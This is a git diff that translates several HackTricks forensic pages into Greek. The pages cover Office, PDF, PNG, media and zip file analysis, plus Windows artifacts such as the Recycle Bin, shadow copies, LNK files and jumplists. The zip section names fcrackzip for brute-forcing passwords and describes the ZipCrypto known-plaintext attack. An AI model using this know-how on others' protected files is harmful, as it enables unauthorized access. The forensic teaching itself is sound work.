%} +Για να εξερευνήσετε τις δομές αρχείων OOXML, δίνονται η εντολή για αποσυμπίεση ενός εγγράφου και η δομή εξόδου. Τεχνικές για την απόκρυψη δεδομένων σε αυτά τα αρχεία έχουν τεκμηριωθεί, υποδεικνύοντας συνεχιζόμενη καινοτομία στην απόκρυψη δεδομένων εντός προκλήσεων CTF. -For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary: - -Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. - -To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. - -For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. - -Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. +Για ανάλυση, τα **oletools** και **OfficeDissector** προσφέρουν ολοκληρωμένα σύνολα εργαλείων για την εξέταση τόσο των εγγράφων OLE όσο και των OOXML. Αυτά τα εργαλεία βοηθούν στην αναγνώριση και ανάλυση ενσωματωμένων μακροεντολών, οι οποίες συχνά χρησιμεύουν ως διαδρομές για την παράδοση κακόβουλου λογισμικού, συνήθως κατεβάζοντας και εκτελώντας επιπλέον κακόβουλα payloads. Η ανάλυση των VBA μακροεντολών μπορεί να διεξαχθεί χωρίς Microsoft Office χρησιμοποιώντας το Libre Office, το οποίο επιτρέπει την αποσφαλμάτωση με σημεία διακοπής και παρακολουθούμενες μεταβλητές. +Η εγκατάσταση και η χρήση των **oletools** είναι απλή, με εντολές που παρέχονται για την εγκατάσταση μέσω pip και την εξαγωγή μακροεντολών από έγγραφα. Η αυτόματη εκτέλεση των μακροεντολών ενεργοποιείται από συναρτήσεις όπως `AutoOpen`, `AutoExec` ή `Document_Open`. ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 769407b3a..94f39bd10 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,28 +1,20 @@ -# PDF File analysis +# Ανάλυση αρχείων PDF {{#include ../../../banners/hacktricks-training.md}} -
+**Για περισσότερες λεπτομέρειες ελέγξτε:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Η μορφή PDF είναι γνωστή για την πολυπλοκότητά της και την ικανότητά της να αποκρύπτει δεδομένα, καθιστώντας την κεντρικό σημείο για προκλήσεις ψηφιακής εγκληματολογίας CTF. Συνδυάζει στοιχεία απλού κειμένου με δυαδικά αντικείμενα, τα οποία μπορεί να είναι συμπιεσμένα ή κρυπτογραφημένα, και μπορεί να περιλαμβάνει σενάρια σε γλώσσες όπως JavaScript ή Flash. Για να κατανοήσετε τη δομή του PDF, μπορείτε να ανατρέξετε στο [εισαγωγικό υλικό](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) του Didier Stevens ή να χρησιμοποιήσετε εργαλεία όπως ένας επεξεργαστής κειμένου ή ένας ειδικός επεξεργαστής PDF όπως το Origami. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %} +Για σε βάθος εξερεύνηση ή χειρισμό PDF, είναι διαθέσιμα εργαλεία όπως το [qpdf](https://github.com/qpdf/qpdf) και το [Origami](https://github.com/mobmewireless/origami-pdf). Κρυφά δεδομένα μέσα σε PDF μπορεί να είναι κρυμμένα σε: -**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +- Αόρατα επίπεδα +- Μορφή μεταδεδομένων XMP από την Adobe +- Σταδιακές γενιές +- Κείμενο με το ίδιο χρώμα όπως το φόντο +- Κείμενο πίσω από εικόνες ή επικαλυπτόμενες εικόνες +- Μη εμφανιζόμενα σχόλια -The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami. - -For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in: - -- Invisible layers -- XMP metadata format by Adobe -- Incremental generations -- Text with the same color as the background -- Text behind images or overlapping images -- Non-displayed comments - -For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject. +Για προσαρμοσμένη ανάλυση PDF, μπορούν να χρησιμοποιηθούν βιβλιοθήκες Python όπως το [PeepDF](https://github.com/jesparza/peepdf) για τη δημιουργία ειδικών σεναρίων ανάλυσης. Επιπλέον, η δυνατότητα του PDF για αποθήκευση κρυφών δεδομένων είναι τόσο εκτενής που πόροι όπως ο οδηγός της NSA για τους κινδύνους και τα μέτρα κατά των PDF, αν και δεν φιλοξενούνται πλέον στην αρχική τους τοποθεσία, προσφέρουν ακόμα πολύτιμες πληροφορίες. Ένας [αντίγραφος του οδηγού](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) και μια συλλογή από [κόλπα μορφής PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) από τον Ange Albertini μπορούν να προσφέρουν περαιτέρω ανάγνωση στο θέμα. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 6108df028..8147d1f1e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,9 +1,9 @@ {{#include ../../../banners/hacktricks-training.md}} -**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies. +**Τα αρχεία PNG** εκτιμώνται ιδιαίτερα σε **CTF challenges** για τη **χωρίς απώλειες συμπίεση**, καθιστώντας τα ιδανικά για την ενσωμάτωση κρυφών δεδομένων. Εργαλεία όπως το **Wireshark** επιτρέπουν την ανάλυση των αρχείων PNG διασπώντας τα δεδομένα τους μέσα σε πακέτα δικτύου, αποκαλύπτοντας ενσωματωμένες πληροφορίες ή ανωμαλίες. -For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants. +Για τον έλεγχο της ακεραιότητας των αρχείων PNG και την αποκατάσταση της διαφθοράς, το **pngcheck** είναι ένα κρίσιμο εργαλείο, προσφέροντας λειτουργικότητα γραμμής εντολών για την επικύρωση και διάγνωση των αρχείων PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Όταν τα αρχεία είναι πέρα από απλές επιδιορθώσεις, διαδικτυακές υπηρεσίες όπως το [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) παρέχουν μια διαδικτυακή λύση για **την αποκατάσταση κατεστραμμένων PNG**, βοηθώντας στην ανάκτηση κρίσιμων δεδομένων για τους συμμετέχοντες σε CTF. -These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data. +Αυτές οι στρατηγικές υπογραμμίζουν τη σημασία μιας ολοκληρωμένης προσέγγισης στα CTF, αξιοποιώντας ένα μείγμα αναλυτικών εργαλείων και τεχνικών επιδιόρθωσης για την αποκάλυψη και ανάκτηση κρυφών ή χαμένων δεδομένων. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index 3d2103987..e9ea2da69 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,16 +1,16 @@ {{#include ../../../banners/hacktricks-training.md}} -**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types. +**Η χειραγώγηση αρχείων ήχου και βίντεο** είναι βασικό στοιχείο στις **προκλήσεις ψηφιακής εγκληματολογίας CTF**, αξιοποιώντας **στεγανографία** και ανάλυση μεταδεδομένων για να κρύψει ή να αποκαλύψει μυστικά μηνύματα. Εργαλεία όπως το **[mediainfo](https://mediaarea.net/en/MediaInfo)** και το **`exiftool`** είναι απαραίτητα για την επιθεώρηση μεταδεδομένων αρχείων και την αναγνώριση τύπων περιεχομένου. -For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files. +Για προκλήσεις ήχου, το **[Audacity](http://www.audacityteam.org/)** ξεχωρίζει ως ένα κορυφαίο εργαλείο για την προβολή κυματομορφών και την ανάλυση φασματογραμμάτων, απαραίτητο για την αποκάλυψη κειμένου που έχει κωδικοποιηθεί σε ήχο. Το **[Sonic Visualiser](http://www.sonicvisualiser.org/)** συνιστάται ιδιαίτερα για λεπτομερή ανάλυση φασματογραμμάτων. Το **Audacity** επιτρέπει τη χειραγώγηση ήχου όπως η επιβράδυνση ή η αναστροφή κομματιών για την ανίχνευση κρυμμένων μηνυμάτων. Το **[Sox](http://sox.sourceforge.net/)**, ένα εργαλείο γραμμής εντολών, διαπρέπει στη μετατροπή και επεξεργασία αρχείων ήχου. -**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**. +**Η χειραγώγηση των λιγότερο σημαντικών bit (LSB)** είναι μια κοινή τεχνική στη στεγανографία ήχου και βίντεο, εκμεταλλευόμενη τα σταθερού μεγέθους κομμάτια αρχείων πολυμέσων για να ενσωματώσει δεδομένα διακριτικά. Το **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** είναι χρήσιμο για την αποκωδικοποίηση μηνυμάτων που είναι κρυμμένα ως **DTMF τόνοι** ή **κωδικός Μορς**. -Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions. +Οι προκλήσεις βίντεο συχνά περιλαμβάνουν μορφές κοντέινερ που συνδυάζουν ροές ήχου και βίντεο. Το **[FFmpeg](http://ffmpeg.org/)** είναι το εργαλείο αναφοράς για την ανάλυση και χειραγώγηση αυτών των μορφών, ικανό να απο-πολυπλέκει και να αναπαράγει περιεχόμενο. Για προγραμματιστές, το **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** ενσωματώνει τις δυνατότητες του FFmpeg σε Python για προηγμένες αλληλεπιδράσεις μέσω σεναρίων. -This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files. +Αυτή η ποικιλία εργαλείων υπογραμμίζει την ευελιξία που απαιτείται στις προκλήσεις CTF, όπου οι συμμετέχοντες πρέπει να χρησιμοποιήσουν ένα ευρύ φάσμα τεχνικών ανάλυσης και χειραγώγησης για να αποκαλύψουν κρυμμένα δεδομένα μέσα σε αρχεία ήχου και βίντεο. -## References +## Αναφορές - [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index d4e17eb0d..d18c3149c 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities: +**Εργαλεία γραμμής εντολών** για τη διαχείριση **zip αρχείων** είναι απαραίτητα για τη διάγνωση, επισκευή και σπάσιμο zip αρχείων. Ακολουθούν μερικά βασικά εργαλεία: -- **`unzip`**: Reveals why a zip file may not decompress. -- **`zipdetails -v`**: Offers detailed analysis of zip file format fields. -- **`zipinfo`**: Lists contents of a zip file without extracting them. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters. +- **`unzip`**: Αποκαλύπτει γιατί ένα zip αρχείο μπορεί να μην αποσυμπιέζεται. +- **`zipdetails -v`**: Προσφέρει λεπτομερή ανάλυση των πεδίων μορφής zip αρχείου. +- **`zipinfo`**: Λίστα περιεχομένων ενός zip αρχείου χωρίς να τα εξάγει. +- **`zip -F input.zip --out output.zip`** και **`zip -FF input.zip --out output.zip`**: Προσπαθούν να επισκευάσουν κατεστραμμένα zip αρχεία. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Ένα εργαλείο για brute-force σπάσιμο κωδικών zip, αποτελεσματικό για κωδικούς έως περίπου 7 χαρακτήρες. -The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. +Η [προδιαγραφή μορφής zip αρχείου](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) παρέχει λεπτομερείς πληροφορίες σχετικά με τη δομή και τα πρότυπα των zip αρχείων. -It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +Είναι κρίσιμο να σημειωθεί ότι τα zip αρχεία που προστατεύονται με κωδικό **δεν κρυπτογραφούν τα ονόματα αρχείων ή τα μεγέθη αρχείων** εντός τους, μια αδυναμία ασφαλείας που δεν μοιράζονται τα RAR ή 7z αρχεία που κρυπτογραφούν αυτές τις πληροφορίες. Επιπλέον, τα zip αρχεία που κρυπτογραφούνται με την παλαιότερη μέθοδο ZipCrypto είναι ευάλωτα σε **επίθεση απλού κειμένου** αν είναι διαθέσιμο ένα μη κρυπτογραφημένο αντίγραφο ενός συμπιεσμένου αρχείου. Αυτή η επίθεση εκμεταλλεύεται το γνωστό περιεχόμενο για να σπάσει τον κωδικό του zip, μια ευπάθεια που αναλύεται στο [άρθρο του HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) και εξηγείται περαιτέρω σε [αυτή την ακαδημαϊκή εργασία](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Ωστόσο, τα zip αρχεία που ασφαλίζονται με κρυπτογράφηση **AES-256** είναι ανθεκτικά σε αυτή την επίθεση απλού κειμένου, επιδεικνύοντας τη σημασία της επιλογής ασφαλών μεθόδων κρυπτογράφησης για ευαίσθητα δεδομένα. ## References diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index bf7543e9b..258ab8047 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -8,497 +8,487 @@ ### Windows 10 Notifications -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +Στο μονοπάτι `\Users\\AppData\Local\Microsoft\Windows\Notifications` μπορείτε να βρείτε τη βάση δεδομένων `appdb.dat` (πριν από την επέτειο των Windows) ή `wpndatabase.db` (μετά την επέτειο των Windows). -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +Μέσα σε αυτή τη βάση δεδομένων SQLite, μπορείτε να βρείτε τον πίνακα `Notification` με όλες τις ειδοποιήσεις (σε μορφή XML) που μπορεί να περιέχουν ενδιαφέροντα δεδομένα. ### Timeline -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +Το Timeline είναι μια χαρακτηριστική δυνατότητα των Windows που παρέχει **χρονολογική ιστορία** των ιστοσελίδων που επισκέφτηκαν, των επεξεργασμένων εγγράφων και των εκτελούμενων εφαρμογών. -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +Η βάση δεδομένων βρίσκεται στο μονοπάτι `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Αυτή η βάση δεδομένων μπορεί να ανοιχτεί με ένα εργαλείο SQLite ή με το εργαλείο [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **το οποίο δημιουργεί 2 αρχεία που μπορούν να ανοιχτούν με το εργαλείο** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). ### ADS (Alternate Data Streams) -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +Τα αρχεία που έχουν κατέβει μπορεί να περιέχουν το **ADS Zone.Identifier** που υποδεικνύει **πώς** κατέβηκαν από το intranet, internet, κ.λπ. Ορισμένα λογισμικά (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες** **πληροφορίες** όπως το **URL** από το οποίο κατέβηκε το αρχείο. ## **File Backups** ### Recycle Bin -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: +Στα Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** μπορεί να βρεθεί στον φάκελο **`$Recycle.bin`** στη ρίζα της μονάδας δίσκου (`C:\$Recycle.bin`).\ +Όταν διαγράφεται ένα αρχείο σε αυτόν τον φάκελο, δημιουργούνται 2 συγκεκριμένα αρχεία: -- `$I{id}`: File information (date of when it was deleted} -- `$R{id}`: Content of the file +- `$I{id}`: Πληροφορίες αρχείου (η ημερομηνία που διαγράφηκε) +- `$R{id}`: Περιεχόμενο του αρχείου ![](<../../../images/image (1029).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +Έχοντας αυτά τα αρχεία, μπορείτε να χρησιμοποιήσετε το εργαλείο [**Rifiuti**](https://github.com/abelcheung/rifiuti2) για να αποκτήσετε τη διεύθυνση του αρχικού αρχείου που διαγράφηκε και την ημερομηνία που διαγράφηκε (χρησιμοποιήστε `rifiuti-vista.exe` για Vista – Win10). ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../images/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### Αντίγραφα Σκιάς Όγκου -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει **αντίγραφα ασφαλείας** ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμη και όταν είναι σε χρήση. -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +Αυτά τα αντίγραφα ασφαλείας βρίσκονται συνήθως στο `\System Volume Information` από τη ρίζα του συστήματος αρχείων και το όνομα αποτελείται από **UIDs** που εμφανίζονται στην παρακάτω εικόνα: ![](<../../../images/image (94).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +Τοποθετώντας την εικόνα ψηφιακής ποινικής έρευνας με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμη και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντίγραφου σκιάς. ![](<../../../images/image (576).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +Η καταχώρηση μητρώου `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` περιέχει τα αρχεία και τα κλειδιά **για να μην δημιουργηθούν αντίγραφα ασφαλείας**: ![](<../../../images/image (254).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +Το μητρώο `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` περιέχει επίσης πληροφορίες ρύθμισης σχετικά με τα `Volume Shadow Copies`. -### Office AutoSaved Files +### Αυτόματα Αποθηκευμένα Αρχεία Office -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Μπορείτε να βρείτε τα αυτόματα αποθηκευμένα αρχεία του Office στο: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## Στοιχεία Shell -A shell item is an item that contains information about how to access another file. +Ένα στοιχείο shell είναι ένα στοιχείο που περιέχει πληροφορίες σχετικά με το πώς να αποκτήσετε πρόσβαση σε ένα άλλο αρχείο. -### Recent Documents (LNK) +### Πρόσφατα Έγγραφα (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Τα Windows **δημιουργούν αυτόματα** αυτές τις **συντομεύσεις** όταν ο χρήστης **ανοίγει, χρησιμοποιεί ή δημιουργεί ένα αρχείο** σε: - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` - Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης ένας σύνδεσμος προς τον φάκελο, προς τον γονικό φάκελο και προς τον παππού φάκελο. -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +Αυτά τα αυτόματα δημιουργημένα αρχεία σύνδεσης **περιέχουν πληροφορίες σχετικά με την προέλευση** όπως αν είναι ένα **αρχείο** **ή** ένας **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες όγκου** σχετικά με το πού είναι αποθηκευμένο το αρχείο και **φάκελο του αρχείου στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που έχουν αφαιρεθεί. -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +Επίσης, η **ημερομηνία δημιουργίας του συνδέσμου** είναι η πρώτη **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο και η **ημερομηνία** **τροποποίησης** του αρχείου σύνδεσης είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο. -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε [**LinkParser**](http://4discovery.com/our-tools/). -In this tools you will find **2 sets** of timestamps: +Σε αυτό το εργαλείο θα βρείτε **2 σύνολα** χρονικών σημείων: -- **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -- **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +- **Πρώτο Σύνολο:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +- **Δεύτερο Σύνολο:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate. -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +Το πρώτο σύνολο χρονικών σημείων αναφέρεται στα **χρονικά σημεία του αρχείου αυτού καθαυτού**. Το δεύτερο σύνολο αναφέρεται στα **χρονικά σημεία του συνδεδεμένου αρχείου**. +Μπορείτε να αποκτήσετε τις ίδιες πληροφορίες εκτελώντας το εργαλείο CLI των Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` - -In this case, the information is going to be saved inside a CSV file. +Σε αυτή την περίπτωση, οι πληροφορίες θα αποθηκευτούν μέσα σε ένα αρχείο CSV. ### Jumplists -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +Αυτά είναι τα πρόσφατα αρχεία που υποδεικνύονται ανά εφαρμογή. Είναι η λίστα των **πρόσφατων αρχείων που χρησιμοποιήθηκαν από μια εφαρμογή** που μπορείτε να έχετε πρόσβαση σε κάθε εφαρμογή. Μπορούν να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**. -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +Οι **jumplists** που δημιουργούνται αυτόματα αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Οι jumplists ονομάζονται ακολουθώντας τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής. -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the 